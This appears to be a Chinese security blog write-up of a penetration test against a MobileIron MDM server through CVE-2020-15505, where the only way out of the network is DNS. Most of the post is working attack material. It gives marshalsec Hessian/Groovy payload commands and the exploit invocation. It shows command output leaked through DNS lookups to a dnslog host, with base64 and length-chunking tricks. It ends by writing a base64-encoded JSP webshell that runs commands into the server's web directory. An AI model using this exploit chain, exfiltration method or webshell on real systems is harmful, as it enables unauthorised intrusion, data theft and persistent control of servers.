统计
  • 建站日期:2021-03-15
  • 文章总数:63 篇
  • 评论总数:51 条
  • 分类总数:14 个
  • 最后更新:2021年12月29日

记一次不出网的CVE-2020-15505漏洞写shell

本文阅读 5 分钟
首页 渗透测试 正文
广告

0x00 前言

2020年,英国国家网络安全中心 (NCSC) 发布警告,督促所有组织机构修复位于 MobileIron 移动设备管理 (MDM) 系统中的严重远程代码执行(RCE)漏洞 (CVE-2020-15505)。MDM 是一个软件平台,可使管理员远程管理组织机构内的移动设备,包括推送 app、更新和修改设置。这种管理从中心位置完成,如运行在组织机构服务器上的管理员控制台,从而成为攻击者的主要目标。
本次记录的是2020年的一个金融项目,因为只有dnslog出网,然后尝试找路径写shell的渗透过程。因为肯定是不能泄露项目的真实地址的所以地址统一修改为 https://mi.test.com

0x01 入口

通过信息收集,找到了https://mi.test.com,是一个MobileIron,吐槽: 其实就是fofa翻翻翻翻翻翻到的。

想起台湾著名黑客orange通过挖掘该系统漏洞获取了facebook权限。在GitHub上也有POC披露,于是便尝试使用该漏洞攻击。
https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html

POC下载地址:
https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2020-15505

0x02 出网测试

对于不清楚内网环境的情况都需要进行fuzz,可以先尝试curl查看是否出网。

生成访问vps的命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" "curl http://111.111.111.111/mdmpoc" > exp.ser
执行命令:
python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser

发现并不能访问我的vps,于是只能通过dnslog查看内网环境。我们可以通过ping命令将信息带回。需要注意的是,最后面的双引号要改为单引号,否则反引号需要"\"转义

0x03 dnslog出whoami

生成访问dnslog的并且带出whoami的命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'ping `whoami`.mydnslog.com' > exp.ser

执行命令:

python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser

接着执行exp,在dnslog成功返回了用户名:

首先我们知道在带入ping中是无法执行带参数的命令的,也无法返回多行的字符。只能逐个命令进行fuzz,例如返回uname -a、ifconfig命令字符串。

0x04 数据返回

通过本地fuzz后发现,特殊字符可能会影响命令执行,如+/等,各个系统可能会有差异。

0x04.1 第一层-编码

为了解决该问题,我们得将命令执行的结果进行base64编码返回:

ifconfig|base64

0x04.2 第二层-管道

当然这还不行,还要解决多行,可以使用head命令指定第几行:

ifconfig|head -n 1|base64

最基础的命令已经解决了,可是我们无法在反引号中执行,如下:

ping `ifconfig|head -n 1|base64`.mydnslog.com

0x04.3 第三层-变量

linux可以使用变量将结果再调用,整理命令后:

'whoami123=`ifconfig|head -n 1` && ping $whoami123.mydnslog.com'

0x04.4 第四层-字符限制

dnslog每级域名最长是63,总长不超过253。我们并不能决定命令执行的结果长度,只能截取<63长度的结果。20个字符串base64编码后刚好不会超过长度64。

'whoami123=`ifconfig|head -n 1|cut -b 1-20|base64` && $whoami123.mydnslog.com'

0x05 测试命令执行

了解基本命令之后,我们便能轻松对服务器进行命令执行。一顿操作之后,获取内网地址在15-35个字符串之间:

生成命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'whoami123=`ifconfig|head -n 2|cut -b 15-35|base64` && ping $whoami123.mydnslog.com' > exp.ser

执行命令:

python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser


0x06 查找web目录

查找web目录,就拿首页的login.jsp进行扫描,使用2>/dev/null隐藏错误输出:

生成命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'whoami123=`find / -name login.jsp 2>/dev/null |head -n 1|cut -b 1-20|base64` && ping $$whoami123.mydnslog.com' > exp.ser

执行命令:

python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser


拼接之后就能得到:

  • 最终获得的绝对路径

  • /mi/tomcat2/webapps/mics/login.jsp
  • /mi/tomcat/webapps/mifs/user/login.jsp

如果字符过长的话就一行一行显示吧,只需要改head -n,比较麻烦:

head -n 1 | tail -n 1

0x07 写webshell

使用base64编码进行写shell:

生成命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'echo PCVpZigia2siLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgamF2YS5pby5JbnB1dFN0cmVhbSBpbiA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImkiKSkuZ2V0SW5wdXRTdHJlYW0oKTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaW50IGEgPSAtMTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsyMDQ4MDBdOyAgDQogICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnQoIjxwcmU+Iik7ICANCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKChhPWluLnJlYWQoYikpIT0tMSl7ICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgfSAgDQogICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnQoIjwvcHJlPiIpO30gJT4gOTk4OQ== | base64 -d  > mi/tomcat/webapps/mifs/1.jsp

执行命令:

python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser

写了img目录、mifs目录、css目录都会跳转至登陆界面,得找一个能够不会跳转的界面。

这种情况的话建议打开web登录然后右键源代码看一下。执行命令太麻烦了,反正绝对路径已经知道了,自己猜测然后拼接一下更省力。

经过fuzz之后,发现scripts目录可以解析,上传shell之后不能执行。但是访问的时候确实解析了,抓包看一下,POST请求居然要认证。

那就用GET型的马,进行上shell:

生成命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'echo PCVpZigia2siLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgamF2YS5pby5JbnB1dFN0cmVhbSBpbiA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImkiKSkuZ2V0SW5wdXRTdHJlYW0oKTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaW50IGEgPSAtMTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsyMDQ4MDBdOyAgDQogICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnQoIjxwcmU+Iik7ICANCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKChhPWluLnJlYWQoYikpIT0tMSl7ICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgfSAgDQogICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnQoIjwvcHJlPiIpO30gJT4gOTk4OQ== | base64 -d  > mi/tomcat/webapps/mifs/scripts/6.jsp' > exp.ser

执行命令:

python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser

0x08 总结

细一点,总会有好事发生的 ~( ̄▽ ̄~)(~ ̄▽ ̄)~

本文来自投稿,不代表本站立场,如若转载,请注明出处:https://www.cnhacker.cc/PenetrationTest/73.html
-- 展开阅读全文 --
Github+jsDelivr+PicGo 打造稳定快速、高效免费图床
« 上一篇 03-23
为什么流媒体直播的延迟很高?
下一篇 » 03-23
广告

发表评论

成为第一个评论的人

作者信息

广告

动态快讯

热门文章

广告

标签TAG

热评文章